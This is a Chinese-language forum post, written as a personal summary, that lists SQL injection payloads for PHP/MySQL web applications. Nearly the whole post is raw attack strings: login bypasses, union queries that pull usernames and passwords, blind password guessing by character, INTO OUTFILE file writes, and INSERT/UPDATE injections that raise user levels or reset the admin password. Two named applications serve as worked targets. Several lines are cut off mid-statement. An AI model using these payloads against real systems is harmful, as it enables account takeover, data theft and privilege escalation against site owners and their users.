sharpds77 发表于 2018-12-22 14:21:05

PHP注入总结(写给自己)

' or 1=1  ' or '1=1
  '/*
  '%23
  ' and password='mypass
  id=-1 union select 1,1,1
  id=-1 union select char(97),char(97),char(97)
  id=1 union select 1,1,1 from members
  id=1 union select 1,1,1 from admin
  id=1 union select 1,1,1 from user
  userid=1 and password=mypass
  userid=1 and mid(password,3,1)=char(112)
  userid=1 and mid(password,4,1)=char(97)
  and ord(mid(password,3,1))>111 (ord函数很好用,可以返回整形的)
  ' and LENGTH(password)='6(探测密码长度)
  ' and LEFT(password,1)='m
  ' and LEFT(password,2)='my
  ..............................依次类推
  ' union select 1,username,password from user/*
  ' union select 1,username,password from user/*
  =' union select 1,username,password from user/* (可以是1或者=后直接跟)
  99999' union select 1,username,password from user/*
  ' into outfile 'c:/file.txt (导出文件)
  =' or 1=1 into outfile 'c:/file.txt
  1' union select 1,username,password from user into outfile 'c:/user.txt
  select password FROM admins where login='John' INTO DUMPFILE '/path/to/site/file.txt'
  id=' union select 1,username,password from user into outfile
  id=-1 union select 1,database(),version() (灵活应用查询)
  常用查询测试语句,
  select * FROM table where 1=1
  select * FROM table where 'uuu'='uuu'
  select * FROM table where 12
  select * FROM table where 3>2
  select * FROM table where 20 THEN 1 END
  例如:夜猫下载系统1.0版本
  id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user

  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where>
  id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where>
  union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where>
  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where>
  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where>
  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where>  例如2:灰色轨迹 变换id进行测试(meteor)
  union (select allowsmilies,public,userid,'0000-0-0',user (),version() FROM calendar_events where eventid =13) order by eventdate
  union (select allowsmilies,public,userid,'0000-0-0',pass (),version() FROM calendar_events where eventid =10) order by eventdate
  构造语句:
  select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)
  select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,username,password from user where userid=1)
  union (select 1,0,2,'1999-01-01','a',password FROM u ser where userid = 5) order by eventdate
  union (select 1,0,12695,'1999-01-01','a',password FROM user where userid=13465) order by eventdate
  union (select 1,0,12695,'1999-01-01','a',userid FROM user where username='sandflee') order by eventdat
  (select a FROM table_name where a=10 AND B=1 ORDER BY a LIMIT 10)
  select * FROM article where articleid='$id' union select * FROM......(字段和数据库相同情况下,可直接提交)
  select * FROM article where articleid='$id' union select 1,1,1,1,1,1,1 FROM......(不同的情况下)
  特殊技巧:在表单,搜索引擎等地方写:
  "___"
  ".__ "
  "%
  %' ORDER BY articleid/*
  %' ORDER BY articleid#
  __' ORDER BY articleid/*
  __' ORDER BY articleid#
  $command = "dir c:\";system($command);
  select * FROM article where articleid='$id'
  select * FROM article where articleid=$id
  1' and 1=2 union select * from user where userid=1/* 句中变为
  (select * FROM article where articleid='1' and 1=2 union select * from user where userid=1/*')
  1 and 1=2 union select * from user where userid=1
  语句形式:建立一个库,插入:
  create DATABASE `injection`
  create TABLE `user` (
  `userid` int(11) NOT NULL auto_increment,
  `username` varchar(20) NOT NULL default '',
  `password` varchar(20) NOT NULL default '',
  PRIMARY KEY (`userid`)
  ) ;
  insert INTO `user` VALUES (1, 'swap', 'mypass');
  插如一个注册用户:
  insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
  "insert INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')";
  insert INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1')
  "insert INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'";
  insert INTO membres SET login='',password='',nom='',userlevel='3',email=''
  "insert INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')";

  update user SET password='$password', homepage='$homepage' where>
  update user SET password='MD5(mypass)' where username='admin'#)', homepage='$homepage' where>
  "update membres SET password='$pass',nom='$nom',email='$email' where>
  update membres SET password='',nom='',userlevel='3',email=' ' where>
  "update news SET Votes=Votes+1, score=score+$note where>  长用函数:
  DATABASE()
  USER()
  SYSTEM_USER()
  SESSION_USER()
  CURRENT_USER()
  比如:

  update article SET>
  update article SET>  #把当前数据库名更新到title字段

  update article SET>  #把当前 MySQL 用户名更新到title字段

  update article SET>  #把当前 MySQL 用户名更新到title字段

  update article SET>  #把当前 MySQL 用户名更新到title字段

  update article SET>  #把当前会话被验证匹配的用户名更新到title字段
  $req = "select * FROM membres where name like '%$search%' ORDER BY name";
  select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name
  select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name
  select uid FROM admins where login='' OR 'a'='a' AND password='' OR 'a'='a' (经典)
  select uid FROM admins where login='' OR admin_level=1#' AND password=''
  select * FROM table where msg like '%hop'
  select uid FROM membres where login='Bob' AND password like 'a%'#' AND password=''
  select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name

页: [1]
查看完整版本: PHP注入总结(写给自己)